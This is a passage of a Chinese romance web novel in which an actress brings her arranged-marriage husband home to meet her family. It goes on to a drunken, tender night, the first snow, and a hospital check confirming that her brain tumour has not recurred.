沈欢赶紧甩开陈璧的手扑过去,抱着妈妈的胳膊撒娇:“没有,还不是前段时间剧组拍戏太忙了,没来得及回来嘛,这不,刚杀青,我就赶回来看你了,你别生我气好不好?”
“哼,哄不好了,等会儿我亲手做的小龙虾包子只许小陈吃,没你的份。”
梅泽兰傲娇扭头,笑容满面对陈璧打招呼:“小陈啊,结婚以后相处怎么样?我们这女儿脾气暴躁,辛苦你多忍让了。”
陈璧正悄悄遗憾牵不到沈欢的手了,听到丈母娘问话,赶忙回答:“妈,欢欢人很好,脾气也很好,我们相处很融洽,谈不上谁忍让谁,一直都是相互扶持。”
这个称呼和回答都令梅泽兰满意,她上下打量陈璧,隐隐觉得有点眼熟,却想不起来在哪里见过。
不过看起来真是一表人才,听说如今已经在霍氏集团内部掌权,再加上相貌比霍楼更为合眼,自家女儿这颜控肯定喜欢。
她本来还因为霍家突然更换联姻对象不满,现在统统都烟消云散了,态度也热情许多,招呼两人到沙发落座。
客厅非常宽敞,巨大的水晶吊灯悬挂于顶,电视里播放着梅泽兰最近正在追的年代剧。
“欢欢,你刚拍完的剧什么时候播出?妈妈等着追呢。”梅泽兰将果盘推到两人面前,一脸宠溺。
“刚杀青,至少得半年吧,还要等后期制作和审批,麻烦着呢。”沈欢叉起一块哈密瓜品尝,盘算一阵。
她四处张望:“爸呢?还没回家吗?”
“回来了,在二楼茶室和你哥聊工作呢,也不知道有什么好聊的,在公司会议没开够?吴妈,去叫他们下来。”梅泽兰有些不满,扭头喊道。
沈欢眼睛亮了:“那我嫂子呢?”
“陪乖孙在三楼玩具房玩呢,”梅泽兰笑眯眯地看着女儿女婿,自发启动催生系统,“你们两个什么时候能再让我抱个孙?”
沈欢手搭在膝盖上,闻言顿时支支吾吾,半天说不出话。
陈璧瞥见她泛红的耳根,自然牵过她的手握在掌心:“妈,我们才刚结婚,计划再多体验一下二人世界,您就别催了,欢欢脸皮薄不好意思。”
“你们现在这些小年轻啊,都有自己的计划主见,算了我不提这个了,你们的生活还是自己商量着来。”
梅泽兰摆摆手,心底也清楚他们是商业联姻,感情基础薄弱,愿意多相处培养感情是件好事。
聊天间,旋转楼梯传来一阵急促脚步声。
沈欢抬头看去,一个扎着丸子头的小女孩一身红色毛衣,扑腾扑腾着跑下来,像一只快乐乳燕,喜庆吉祥。
她身后跟着一脸无奈的乔辞竹:“跑慢点,别摔了。”
“没事,尧尧走得稳,不会摔。”
小姑娘看着五岁大,眨巴着圆溜溜的眼睛,面上带着婴儿肥,站在沈欢面前:“漂亮姑姑好!”
嗓音脆生生的,沈欢高兴应声,塞给她一颗糖:“小嘴真甜。”
她面对人类幼崽,总会不自觉夹起嗓子说话:“半年没见了,尧尧还认得出姑姑呀。”
“姑姑爱尧尧,尧尧当然记得姑姑!”尧尧非常自来熟,伸手接过糖,一下子赖进她怀里一顿猛蹭。
小孩子表达爱意的方式就是这么简单粗暴。
她让尧尧坐在自己腿上,宠溺地捏捏孩子脸颊肉,带点婴儿肥,手感非常好。
梅泽兰笑眯眯哄道:“叫奶奶。”
“奶奶中午好!”尧尧抱着沈欢脖子,热情回应。
她的目光转移到陈璧身上,有些困惑地歪头。
这个人尧尧没有见过呀。
沈欢使坏,故意指着他问:“你应该叫他什么?”
陈璧害怕吓到她,努力让自己的眼神变得柔和,慢慢看向小姑娘。
“你是姑姑的老公吗?”尧尧没有直接回答,而是追问道。
陈璧心里乐开花,面上努力保持淡定,点头应下:“怎么看出来的?”
小孩快乐拍手,笑得见牙不见眼:“因为你们两个长得真像!姑父好~”
沈欢茫然一瞬,下意识瞥了他一眼,两人视线在半空中相对,又像被烫到一般飞速错开。
她轻轻咳嗽,心绪五味杂陈,抬手摸摸孩子柔软的发丝:“我们家尧尧真聪明。”
“来,让姑父抱抱。”陈璧怕小孩太重,累着沈欢,自告奋勇接过去。
小姑娘一点也不认生,笑眯眯地从沈欢怀里窝到陈璧怀里。
他没抱过小孩,顿时有些手足无措,双臂牢牢圈住她生怕跌下去,笨拙地哄。
乔辞竹坐到沈欢身边,熟稔打招呼:“好久不见啊,大明星。”
“嫂子,你又开我玩笑。”沈欢假装生气,撅嘴不满。
乔辞竹忍俊不禁,悄声问:“好了不逗你了,最近过得怎么样?陈璧对你好不好?”
怎么一个两个都问这种问题,沈欢暗自腹诽。
“就那样,挺好的,结婚嘛,日子跟谁过都一样。”她淡淡道。
乔辞竹算是看着沈欢长大的姐姐,身份类似长辈,因此知道的消息并不多,只能笨拙安慰:“没事,联姻嘛,一开始都是半生不熟的,后面多相处就好了,有个词叫什么?”
“日久生情?”沈欢嘴比脑子快,接话道。
“对,日久生情,最开始我和你哥也是互相看不惯,后面发现其实这人还不错,也就慢慢看对眼了。”乔辞竹谈起沈锡,杏眸里闪着微光,嘴角不自觉挂上笑容。
“感情就是这样,只要遇到的是个很好的人,水到渠成是早晚的事。”
沈欢点点头,若有所思。
乔辞竹拍拍她的肩,不再多言,冲尧尧伸出手:“快来妈妈这儿,妈妈想你啦。”
小姑娘立刻抛弃了刚认识的帅气姑父,呲溜跳下来跑到妈妈那儿,咯咯笑着爬进她怀里。
乔辞竹一脸温柔地接纳孩子,像是拥抱住世界上最珍贵的宝贝。
“喜欢小孩?”陈璧的声音在沈欢耳边响起,激得她猛然回神。
沈欢睨他,强调:“别多想,我只喜欢逗别家小孩。”
“我也没有多想,”陈璧轻笑
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,将话题引到另一个方向,“只是想问问你要不要养宠物?我负责养,你负责逗。”
“……可以考虑。”沈欢支着下巴思考片刻,歪头答。
“想养猫还是狗?”他继续盘问。
“我都喜欢,”她有些纠结,“但还是养猫吧。”
“为什么?”
“体验一下当奴才的感觉。”沈欢煞有介事。
见陈璧露出茫然表情,她才忍不住笑起来:“你没听说过吗?养猫的人都会自称猫奴。”
他老实摇头,沈欢笑容变得更加灿烂,明明是同龄人,陈璧总给人一种跟不上时代潮流的感觉。
“其实是因为不用天天出门遛狗,太早了我可起不来。”沈欢笑够了,继续解释。
“我起得来,”陈璧表情认真,“如果你想养狗的话,我可以趁去公司前遛狗,不用你辛苦。”
“不行,养宠物是两个人的事,如果只有你天天遛它,它肯定更亲近你,那我就会不高兴。”她摇头拒绝。
见她态度坚决,陈璧不再继续劝说,将养猫这件事默默列入心底备忘录。
两人头凑在一起讨论宠物,旁若无人,沈欢冷不丁抬头,便对上乔辞竹揶揄眼神。
乔辞竹挤眉弄眼,对着她做口型:“就那样~”
沈欢忍不住叉起一颗青提,塞进她嘴里,气急败坏地胡说八道:“嫂子,多吃点葡萄。”
少说话!
陈璧没看见乔辞竹的小动作,一时感觉莫名其妙:“可你拿给大嫂的是青提,你想吃葡萄吗?”
一边说着,他已经伸手挑起一颗紫红葡萄,认真剥去外皮,递到她嘴边。
鬼使神差,沈欢低头,从他的指尖叼走这枚葡萄,一口下去汁水四溢,浸润唇齿。
陈璧抽了张纸,眼帘低垂,慢条斯理擦干指尖残留的汁液。
明明很正常的动作,被他做出来就自带一丝暧昧气息。
沈欢不自然地别开眼。
恰在此时,沈父沈琮年和哥哥沈锡一同下楼,两人神情严肃,仿佛遇到了什么棘手的事。
沈琮年的大手搭在沈锡肩膀上,重重拍了拍,似乎托付了重要事务。
沈欢隐约听见沈锡对父亲保证:“爸,你放心,我肯定能处理好。”
陈璧及时从沙发上站起身,礼貌致意:“爸,大哥。”
两人的目光齐刷刷落在陈璧身上,暗藏着浓浓审视。
陈璧与他们对视,肩背挺直,像一株向上生长的白杨树,不卑不亢。
“你就是霍家大房那小子?临时更换的联姻对象?”沈琮年冷哼一声,先给个下马威,“和沈欢领证结婚这么久了,才知道来见我们,在商场钻营多年还拎不清主次吗?”
陈璧还没来得及说话,沈欢便上前一步,站在他身边。
她抬头看着父亲,语气急促替他辩解:“爸,是我这段时间拍戏太忙了,才没来得及带陈璧见你们,要怪就怪我好了。”
“至于领证,反正联姻迟早要履行的,或早或晚都没有区别,不是吗?”
17. 醉酒
沈琮年顿时一噎,恨铁不成钢地剐了女儿一眼,真是胳膊肘往外拐。
陈璧心知当初受了刺激,急吼吼地拐着沈欢去领证的事情肯定会受到沈家长辈数落,也想好了应对措施,却没想到沈欢会在她父亲面前如此维护他。
他眼角余光恰好能瞥见沈欢的神情,她就这样冲过来站在他身边,目光坚定,为他挡下指责,心头不禁蕴起丝丝缕缕的感动。
“爸,是我的错,事情办得不够妥帖,但我确实对沈欢一见钟情,才迫不及待提前履行婚约,以后我也不会辜负她,只要她愿意,婚礼蜜月我都会补上,以最隆重的规格。”
陈璧很清楚,这两位长辈都不知道他就是当年被百般嫌弃的穷小子,索性编出一套一见钟情的说辞来糊弄。
他们虽然疼爱女儿,却天然带着上位者的傲慢,根本不关心沈欢和谁在一起,人品如何,幸不幸福,只知道他出身差劲,唯一的标签就是贫穷,不符合他们对未来女婿的期待。
而解决措施也很简单,豪门父母掌握经济大权,只需要挥手停掉女儿的信用卡,并冷眼旁观一切。
没有物质的爱情就是一盘散沙,千金大小姐没有经历过贫穷日子,肯定会撑不住,抛弃情人回归豪门,接受约定好的联姻。
事实也确实如此。
但陈璧从未怪过她,她不是喜欢被豢养的金丝雀,而是渴望自由的飞鸟,鼓起勇气于他的心岛上短暂停留,最终却被捕鸟人无情带走。
“……并且,霍氏集团会向沈家提供全方位合作,不遗余力,包括近期沈家公司面临的麻烦。”
陈璧上前一步,护在沈欢面前,不急不缓地一条条承诺。
沈琮年的试探得到满意回应,严肃神情逐渐缓和:“你消息倒是灵通,但这件事还算不上麻烦,我们可以自行解决,不必霍家插手。”
陈璧不再多言,点头应是,牵着沈欢坐回沙发。
“你今天吃枪药了?女儿好不容易回来一趟,火气这么旺?”梅泽兰在一旁小声埋怨。
沈琮年觑她一眼,有些无奈:“好好好,我等会儿少说话,行了吧?”
到了饭点,吴妈来客厅通知大家,于是一行人暂停闲聊,转移到宴会厅。
宴会厅装饰得古朴典雅,两名长辈坐在上首,其余人依次顺着长桌落座,管家领着佣人进门上菜,一切井然有序。
沈欢的手指搭在桌面上,无聊地敲打着,黄花梨木触感温润,浸着岁月痕迹。
梅泽兰抬头扫视一圈,心底忍不住感慨,这是近段时间以来,沈家人最齐整的一天。
自从儿女结婚以后,一个个都搬出去住了,就剩他们老两口住在偌大的别墅里,难免染上几分孤寂。
沈琮书端起酒杯:“让我们欢迎陈璧正式加入沈家,成为同舟共济的一家人。”
陈璧表情沉稳,双手捧着酒杯站起来:“感谢爸妈,愿意信任我,将宝贝女儿托付给我,请放心,今后她也是我的宝贝。”
沈欢尴尬,恨不得将头埋到桌子底下,把自己彻底藏起来,她暗地里揪住他的衣角,疯狂示意他少说一点,肉麻死了。
沈琮书见他礼数周全,话语间不带一丝傲气,倒是十分满意,一向严肃的面容总算松弛下来,同陈璧碰杯后将杯中酒一饮而尽。
酒过三巡,气氛逐渐融洽,陈璧面对岳父和小舅子的轮番灌酒,纷纷来者不拒。
沈欢眼睁睁看他一杯接一杯酒下肚,面色无甚变化,耳根却悄悄染上薄红,目光也透出恍惚迷离。
“爸——”沈欢拖长尾音撒娇,略带不满盯着两个罪魁祸首,“少喝酒,多吃点菜,对身体好。”
沈琮书喝酒容易上脸,此刻面色红润,闻言摆摆手:“听你的,我不喝了,沈锡,今天高兴,你陪陈璧多喝几杯!”
“好。”沈锡刚一应声,便对上妹妹虎视眈眈的目光。
哟,这么快就心疼上了?他顶着吃人眼神,替陈璧续上一杯酒,暗想。
沈欢见状咬牙,赶紧向嫂子投去求救信号。
乔辞竹立刻会意,在桌子底下一脚踢上沈锡小腿,低声威胁:“别喝了,尧尧闻不得酒味,再喝今晚准备好睡书房。”
沈锡一个激灵,顿时醒酒了。
他看看老婆,再看看手里的空酒杯,乖巧地倒扣在桌面上,按着额头装醉:“爸,我也不喝了,有些醉了。”
梅泽兰没发现其中的暗流涌动,放下筷子担忧道:“我让吴妈给你们三个熬点醒酒汤,一天天真是闲的,跟年轻人拼什么酒?”
陈璧安安静静坐着,视线盯着桌面,有些拙笨。
沈欢悄悄挪动椅子靠过去:“醉了?”
他动了动眼珠,慢吞吞看着她,露出淡笑:“……没醉。”
沈欢腹诽,醉酒的人根本不会承认自己喝醉了。
吴妈端着一壶醒酒汤过来,盛出三碗,沈欢眼疾手快端走一碗,盯着陈璧喝完,才稍微放心。
宴席到了末尾,几人都喝了酒不能开车,梅泽兰干脆劝他们都住下来,反正别墅里子女的房间都保留着,日日有专人打扫,铺上被子就可以休息。
陈璧看似行动正常,却明显失去思考能力,变成了一个沉默的哑巴,她犹豫片刻,索性做主选择住下来。
直到带着他走到卧室门口,沈欢才蓦然想起最大的问题,那就是……
他们今晚要同床共枕。
她被这个现实震慑到,脚步微顿,而男人正亦步亦趋跟在她身后,猝不及防径直撞上她。
沈欢向前踉跄,感受到他的下巴恰好搭上自己肩头,温热呼吸喷洒在她耳后。
她被陈璧从背后抱住了,以考拉抱住桉树的姿态,满怀依赖。
沈欢的大脑立时宕机,然而楼梯上响起脚步声和小孩清脆笑声,却没有留给她足够的思考时间。
隔壁就是哥哥嫂子的房间,若是愣在这里定然会被撞见。
慌乱间,她匆匆推开卧室门,强行拖着某只大型考拉挤进去,旋即火速关门,企图隔绝一切探视目光。
握
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着门把手,她还没缓过一口气,就感觉腰上的手臂缓缓收紧,像铁钳一般锁住她。
黑暗房间里满是静谧,落针可闻,男人的胸膛火热,紧紧贴着她的后背,她甚至可以感受到那颗剧烈跳动的心脏。
薄毛衣根本无法阻挡她的背部感知,她此刻无比想念玄关处挂着的银色羽绒服。
被按在门上的姿势并不舒服,门外的脚步声越来越近,她的心快要提到嗓子眼,后背也沁出一层薄汗。
“陈璧,松手!”她声音压得很低,咬牙道。
“……不松。”陈璧醉醺醺低头,用侧脸去摩挲她的脸颊,含糊不清嘟囔。
沈欢懒得跟醉鬼讲道理,自己动手掰起围在她腰间的大掌。
下一根手指刚被掰开,上一根手指又死皮赖脸地合拢回去,她折腾半天都无济于事,气得拍打他:“你想勒死我?放手!”
男人不语,只是捏着她的肩膀翻了个面,又紧紧抱住她,头埋在她怀里蹭来蹭去,四处嗅闻,像一只不安分的大型犬,坚硬发丝扫过她裸露在外的脖颈,传来一阵瘙痒。
“不放手,死也不放。”
陈璧拥住她,就像拥住了世界上最珍贵的宝物,沉浸在无边幸福中,任由她怎么打骂也无动于衷。
门外传来尧尧轻快的脚步,沈欢的后背抵在门扉上,侧耳听见脚步声停在自己卧室门前。
下一刻,稚嫩的童声响起:“妈妈,姑姑和姑父睡了吗?我想找他们玩。”
沈欢生怕小孩听见门内声响,浑身僵硬如铁,丝毫不敢轻举妄动。
反抗力度一小,醉酒男人就开始作妖了,细细密密的吻从耳廓流连到下颌,再慢慢落到她的唇瓣上,一寸一寸吸吮起来。
她连一丝声音也不敢发出,只能咬牙忍着溢到唇齿的喘息声。
男人似乎知晓这一点,毫不留情地撬开她的齿关,将强忍的喘息声全都吞吃殆尽。
“今天很晚了,我们不去打扰他们好不好?”乔辞竹温柔的劝说声传到沈欢耳朵里,一种难以言喻的羞耻感过电般传遍她全身。
倘若身前有一面镜子,定能让沈欢看见浑身透红的自己。
直到门外所有声响彻底消失,她才暂时放松紧绷的身子,浑身脱力一般往下滑,又被有力臂膀一把捞回去。
见男人又想凑上来亲她,沈欢双手捧住他的脸,努力平缓呼吸,仔细观察:“狗东西,你是真醉了还是装的?”
狗狗听不懂,狗狗只想和主人黏在一起,永远不分开。
他目光温顺,透着全然依赖与痴迷,下颌放在她的手心里,安静盯着她看,仿佛能看出一朵花开。
若是他能长出尾巴,早已欢快摇晃起来。
“让开啦,很晚了我要睡觉。”沈欢观察无果,撤回手推他。
醉酒的人情绪变化毫无来由,刚刚肆意妄为的男人又委屈起来,凤眸瞬间蒙上一层水雾。
“你又要离开我了吗?”他嗓音沙哑,眼尾低垂,长长眼睫遮住泪光,一字一顿问。
18. 初雪
“我好不容易才梦见你,你为什么不肯多待一会儿?”
“沈欢,你就这么讨厌我吗?讨厌到连梦里都不肯我接近。”
“能不能、能不能多陪陪我?能不能别走?求你……”
卑微祈求尚未说完,话音突然中止,陈璧双眸微微睁大,呆呆感受神降般的柔软。
周遭一切都已不复存在,他的大脑如同故障的电脑程序,疯狂报错无法运行,只能知晓一件事,那张娇嫩如玫瑰的唇正轻缓吻过他的眼皮,慢慢舐走滑落的泪珠。
咸咸的,像大海的味道,表面风平浪静,实则波涛汹涌,但却能包容一切苦楚,温暖无边。
沈欢也不清楚自己为什么要这样做,反正等她反应过来时,她的双手已经攀着陈璧的肩,毫不犹豫地主动贴上薄唇。
数年没有饮酒的她,在今晚以这种方式品尝到了淡淡酒气。
她半阖眼帘,透过一片迷蒙,看见陈璧睫羽不断颤动,像将飞未飞的蝴蝶。
指腹轻轻划过男人侧颈,摸到突出的喉结,温柔打圈。
她感受到贴在腰间的大掌骤然紧缩,耳边喘息声愈浓,恨不得将碍事毛衣揉碎成凌乱。
两人粘在一起,一步一挪移到床边,沈欢按着陈璧的肩膀轻轻一推,他便顺从地躺倒下去,跌进柔软床被。
当然,不忘揽着她的腰。
如同小时候玩的叠叠乐玩具,沈欢趴在他厚实温暖的胸膛上,一条腿嵌入他的双腿之间,面容安静柔和,耳边是规律而急促的心跳声,仿佛荡在湖面小船上微微起伏。
她此刻无比清醒地认识到,这是她曾经失去、甚至会永远失去的怀抱。
不管当初原因为何,她确实伤害过一个深爱她的人,留下一道惨烈伤疤,并且,这条疤痕一直存在至今,阵痛不止,甚至醉酒以后也在折磨他。
陈璧也没有更进一步,做出越轨行为,大手规规矩矩搭在她的腰上,唯有醉眸中透出炽热,一瞬不瞬地盯着她,生怕眨个眼的工夫,怀中人就消失不见了。
沈欢轻笑,向上蹭挪身体,惹得男人咬牙闷哼一声。
她没有注意到这一点,直到两人的侧脸紧挨在一起,才满意停下。
“对不起呀,”她附在陈璧耳边,认认真真做出保证,“以后我都不会离开你了,你相信我一次好不好?”
他隐约感觉自己正在被温柔注视,沈欢眸子亮如繁星,透彻纯净,他能轻易从中找到倒影,耳边响起她的声音,令时间变得缓慢,似水流淌。
醉后不知天在水,满船清梦压星河。
“……好。”他轻声应下,慢慢阖上眼眸。
困意在此刻汹涌而来,陈璧抑制不住沉入梦乡,只是这次的梦境与以往不同,不再暗无天光,孤寂无依,有道光一直笼罩着他,温暖指引方向。
一直禁锢她的胳膊总算松懈,沈欢长舒一口气,撑起身子,小心翼翼从他怀里挪开,一骨碌滚躺在旁边,盯着黑黢黢天花板出神。
她的急促心跳还未完全平复,此刻正在疯狂彰显存在感,证明刚才发生的一切并非虚幻。
或许……陈璧是真心想和她复合的?并非为了报复?
若是早前冒出这个想法,她会笑自己痴心妄想,但是经过这段日子的相处,她不禁动摇了最初的念头。
如果他想报复她,有一万种更简单的方法,没必要通过联姻将两人绑在一条绳上共沉沦,还对沈家百般示好。
沈欢想着想着,思绪忍不住跑偏,她侧头看向陈璧,男人正陷入熟睡,面容恬静,全然放松的姿态。
如果……下周复查有一个好的结果,那她就勇敢一些吧。
翌日清晨,陈璧醒来时,发现身上清清爽爽,还穿着一套崭新睡衣,他按着额头皱眉,宿醉后的疲累感仍然挥之不去,头脑一阵阵晕沉。
他侧过头,待到看清枕边人时,眉眼一瞬间柔软,沈欢正蜷缩在他身边,像只慵懒猫儿,一只手压在脸下,长卷睫羽遮掩住好看的眸,睡得香甜。
他记不起昨晚发生了什么事情,大概猜测是沈欢带他回房间,也不知道她给他换衣服的时候,他究竟配不配合。
那他现在正睡在沈欢的闺房?
脑海中突然蹦出这个念头,陈璧顿时提起兴趣,目光扫过这片他以前未曾踏足过的空间。
地上铺着大块柔软毛毯,浅粉色窗帘随风轻轻晃荡,书桌上整齐摆着各类书籍,床尾梳妆台上,各种瓶瓶罐罐按照高矮胖瘦排列,仿佛正在接受军训。
“唔。”沈欢翻了个身,迷迷瞪瞪伸懒腰,隐约感觉自己的手打到了什么东西。
她茫然一瞬,一个激灵清醒过来,尴尬抬头。
陈璧正捂着下巴,目光幽怨地瞅她。
她赶紧嘿嘿笑着凑过去,讨好地揉搓被她打到的地方,一晚上过去,原本光净的下巴长出淡青色胡茬,摸起来手感奇奇怪怪。
“你还记得昨晚发生了什么事情吗?”淡红印子消失,沈欢收回手坐起来,旁敲侧击。
陈璧假装思考:“记得。”
“记得什么?”她紧张兮兮地盯着他。
陈璧不动声色观察她的表情:“你昨晚说你喜欢我。”
其实他一觉睡醒脑袋空空,什么也不记得,只能满嘴跑火车诈一诈她。
沈欢的脸涨红,抄起枕头拍在他肩膀上:“胡说八道!”
枕头柔软,杀伤力为零,陈璧笑着捏住枕头,轻轻一拽,沈欢便跌趴进他怀里,手胡乱撑到硬实的大腿上。
“别生气,确实是我胡说八道,其实昨晚我什么也不记得了。”陈璧自然揽住她的腰,不知道为何,总觉得这个姿势有些熟悉。
重心稳住以后,沈欢赶紧从他怀里逃出来,光脚蹦下床,踩在地毯上找棉拖鞋,试图让自己忙起来,从而掩饰臊红的脸。
陈璧弯腰帮忙,长臂一伸,却从床底拽出一个方方正正的小匣子,似乎年岁久远,边缘已经开始生锈。
“这是什么?”他心底升起几分好奇,摩挲着铁匣子问。
沈欢心头一跳,从他手中夺走匣子,匆匆将它塞回床底,含糊道:“没什么,小时候的
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玩具。”
陈璧投以探究目光,沈欢默默移开视线,抿唇不去看他。
屋内气氛凝固片刻,见她毫无解惑之意,他只好暂时作罢,找到她的拖鞋后摆放在地毯外,自行穿戴整齐,率先走出去,将独处的空间留给她。
沈欢坐回床边,垂头盯着床单边缘悬挂的流苏,仿佛可以透过它们看见那只铁匣子。
其实里面没有什么见不得人的东西,只是几本日记,几份写毁的情书,埋藏着她青春期的少女秘密。
……而陈璧在其中占据大半江山,在她的青春里熠熠生辉。
所以这些东西是万万不能让正主看见的,否则她真是要连夜钻地缝逃跑了。
吃完早饭,告别沈家父母,两人走出别墅。
寒风簌簌,沈欢裹着银色羽绒服搓手,呼出的热气于半空中散成一片白雾。
院子里,冬日寒梅恰好开放,枝条横斜,伸到沈欢面前,她忍不住手痒,挑落一朵捧在掌心,观察细小花蕊。
“这是我爸种给我妈的梅花。”她出声打破寂静,目光仍然定在剔透花瓣上。
陈璧侧头欣赏,没想到沈父看着严肃,却是个心思细腻的人,在爱情里颇懂浪漫。
只因爱人姓梅,便赠她一片盛放梅林。
“你的父母很相爱。”他轻声道。
沈欢点点头,伸出手,将这朵梅花放进他的西装口袋。
陈璧眸光黑亮,微微蜷缩手指,想要趁机攥着她的手不放开,却怕吓到她,只好努力按捺冲动,等待她的下一个动作。
她抽回手背在身后,面向他倒退着走,一蹦一跳,少见的活泼。
心上人仰头冲他笑,像一只狡黠狐狸:“好好保管,以后拿出这朵梅花,可以实现你的一个愿望。”
“前提是我能办到哦。”
他的视线死死锁住她,周围一切事物都不甚清晰,渐渐隐去,唯有这张明媚动人的面容烙印在他眼中,风华无双。
胸前口袋里沉甸甸的,装着的不单单是梅花,还有她宝贵如珍珠的许诺。
风声渐起,陈璧感觉脸上传来点滴冰凉,方才恍然回神。
耳边传来沈欢惊喜的叫喊:“陈璧,快抬头看,下雪啦!”
原来下雪了。
他倏然想起,那年冬天,同样的雪,别墅大门冰冷,隔绝了他和他的爱人。
自那以后,一别经年,不复相见。
现如今,遇上冬天的第一场雪,而她恰好陪在他身边。
雪花细细碎碎,落在沈欢的发梢眼睫上,亮晶晶湿漉漉,她的眸子生来纯情,此刻平添几分妩媚,兴奋地看着他,一颦一笑皆是风情。
陈璧忍不住伸手,用指腹轻轻沾走雪瓣,她不明所以,下意识眨动眼睛,睫羽便扑扫而过,带来一阵痒意,直直传到他心底。
世界逐渐染上一片洁白,此刻他的心情无比安宁,唇角忍不住溢出笑意。
他突然不讨厌雪了。
雷霆雨露,皆是天恩。
而沈欢,就是上天赐予他的宝贝。
19. 复查
雪落无声,覆盖大地,白茫茫一片真干净。
回到家以后,陈璧进书房处理加急文件,沈欢哼着小曲坐到沙发上,拿出手机翻看经纪人发来的工作安排。
如今她风头正盛,新剧刚刚杀青,一些剧本和综艺都递出橄榄枝,李姐没有决定权,帮忙筛选出一部分,打包发给她。
正在查看综艺介绍,她接到李姐的电话:“喂?”
“快到年底了,星光之夜的邀请函已经寄到工作室,这次定在B市举行,时间是下周,”李姐飞速介绍,“去走个过场就行,毕竟要维护好平台关系,不方便拒绝。”
沈欢无所谓,她下周正好要去一趟B市,正愁没借口离开:“那就答应呗。”
“行,那我就去接洽后续事宜,另外,我发给你的文件你尽快看完,挑到喜欢的就告诉我。”
“好,我正在看呢,年前有点想接个综艺玩玩,不想进组了。”沈欢趁机表明自己的想法。
李姐沉吟片刻,推荐:“有一档旅行综艺缺个飞行嘉宾,你去吗?”
沈欢嗅到了一丝阴谋气息,坐直身子小心翼翼:“不会是那档正在热播的恋爱旅行综艺吧?”
“猜对了,”听筒里传来李姐调侃声,“要不要带着陈总去参加?就当休年假旅游了。”
“自从那次热搜以后,关于你恋爱的小道消息传得满天飞,大家都在鼓足劲扒恋爱对象是谁,你们这隐婚早晚得曝光,不如温水煮青蛙,让粉丝们先适应一下。”
沈欢一时汗颜,她在剧组里忙得昏天黑地,许久没有关注网上舆论,连微博都交给经纪人运营了,没想到网友八卦嗅觉依旧如此敏锐。
但她从未立过单身人设,也没有刻意炒过CP,倒是不怕公开恋情。
“……那我有空问问陈璧吧。”沈欢嗫嚅,手指揪着沙发坐垫,魂不守舍。
斜刺里传出熟悉声音:“问我什么?”
沈欢吓了一跳,慌张挂断电话瞪他:“你怎么偷听人打电话?”
陈璧换上一身灰色居家服,整个人显得柔软没有攻击性。
“我没有偷听,只是恰好走到客厅,听见了我的名字。”他摊手,一脸无辜。
沈欢纠结半晌,抬头问他:“你一月份有空吗?有档旅行综艺缺飞行嘉宾,想邀请我们参加,你愿意出镜吗?”
陈璧眸光微动:“据我所知,那是一档恋综吧?”
隐藏信息瞬间被对方揭穿,她一噎,羞赧扭头:“是又如何?”
“你的意思是……你想和我恋爱?”陈璧故意拖长音调,好整以暇欣赏她泛起红润的耳根,慢悠悠问。
沈欢自暴自弃闭眼,破罐子破摔:“别说废话,你就说,你到底去不去吧?”
“你要是不去的话,我就——”
“我去,”陈璧立刻打断她没说出口的话,目光沉沉,暗藏威胁,“你想去我就会陪你,不准邀请别人上恋综。”
“哼。”沈欢默默闭嘴,她本来也没想邀请别人,只是吓唬他而已。
她拿起手机给经纪人回复,表示同意接下恋综。
“下周我又要出差,不能在家陪你了。”陈璧坐在她身旁,一脸歉意。
她正在和李姐敲定综艺细节,闻言随意道:“没事你去吧,我下周正好也要忙工作。”
男人停顿片刻,探究目光扫过她的脸,却没看出一丝不舍,只好认命起身,去厨房勤勤恳恳做饭。
小没良心的。陈璧一边切菜一边叹气,唇角却忍不住勾起弧度。
时光荏苒,到了周一,沈欢前脚送走出差的陈璧,后脚自个儿拉着行李箱提前离开S市。
星光之夜于周五举行,她计划先趁这几天空闲时间,去B市人民医院复查。
飞机降落B市时,恰好是个冬日晴天,正午阳光不温不火,映照在沈欢身上,美中不足的是风沙略大,寒风阵阵袭来,险些吹飞她用来遮挡面容的鸭舌帽。
她谨慎压低帽檐,坐上提前约好的车前往酒店。
放下行李箱,沈欢走出房间,站在电梯口百无聊赖等待。
和主任约了下午两点到医院做初步检查,可能需要空腹抽血,导致她现在胃里空空,却不敢进食。
伴随“叮”的一声,电梯门打开,沈欢自顾自低头走进去。
“……沈欢?”一道男声在密闭空间中响起,蕴着不确定。
她心头一凛,下意识抬手捂住口罩,猛地向后退缩,后背贴着电梯壁,难道她这么倒霉被路人认出来了?
待到抬眼看清是谁后,她才放松紧绷的神经,放下手打招呼:“好久不见啊,严辛学长。”
“都毕业这么久了,叫我严辛就行。”瘦高男人笑意融融,留着齐肩长发,不羁而潇洒,比大学时更具有艺术气息。
“怎么有空来B市?”
“有点事要办。”沈欢含糊道。
见她不愿多谈,严辛也不刨根问底:“既然来了我这儿,方便请你吃一顿饭吗?”
“应该我请你才对,还没谢谢你大学时候对我的帮助呢。”沈欢漾起笑容,眉眼弯弯。
“举手之劳而已。”严辛表情谦逊。
在沈欢记忆中,大学时,在她最缺钱的那段时间里,这位艺术系学长向她伸出援手,盛情邀请她去当画室模特,给出的薪酬不菲,她才得以赚到详细检查费用。
同时,画像流传到网上,引发网友一阵热议,为她积累了第一批粉丝,也成为她后来下定决心进入娱乐圈的契机。
对于这位伯乐,她一直感激不尽。
电梯到达一楼,两人一同走到酒店大厅。
“可惜中午是吃不了饭了,我有事情还没办完。”沈欢从回忆里抽身,垂眸抱歉道。
“那晚上有空吗?先加个微信,晚上再联系吧。”严辛宽容地笑。
“好的,晚上见。”沈欢急着去医院,两人匆匆交换联系方式,她便转身踏出酒店旋转大门,走进温暖日光中。
殊不知,严辛一直在背后注视着她,直至她的身影消失在转角尽头,这才恋恋不舍收回目光
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B市人民医院,神经外科。
第一项就是抽血检查,沈欢坐在窗口伸出胳膊,静静看着细长针头刺入静脉,抽走几大管血液,原本粉嫩的唇色微微苍白。
做完一系列检查,她才有空坐在诊室外的长椅上休息,吃点面包补充能量,防止自己体力不支饿晕过去。
几小时后,各项诊断结果陆续出炉,她收集在一起,径直去找程主任,也就是她当年的主刀医生。
程主任人到中年已然秃成地中海,显得医术更加权威精湛,他举着CT片仔细观察,又拿起其他单子一张张看过去,一言不发。
沈欢坐在诊室里,双手紧张地绞在一起,眼皮飞速眨动,煎熬等待来自医生的诊断判决。
“从片子上反映的情况来看……”
程主任推推掉在鼻梁上的眼镜,说话不紧不慢,害得沈欢整个人仿佛正在表演高空走钢丝,一颗心高高提到嗓子眼。
“恭喜你,自那次手术已经过去五年,脑部肿瘤没有任何复发的迹象,你基本上已经完全康复了。”
话音刚落,沈欢的心彻底落回原位,激动得险些蹦起来。
